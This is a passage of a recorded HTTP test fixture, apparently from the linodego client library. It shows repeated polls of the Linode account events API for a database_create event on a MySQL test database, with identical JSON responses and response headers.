Wed, 22 Jan 2025 15:25:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:26:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:26:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:26:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:26:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:27:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:27:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:27:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:27:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:28:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:28:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:28:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:28:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:29:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:29:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:29:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:29:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:30:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' 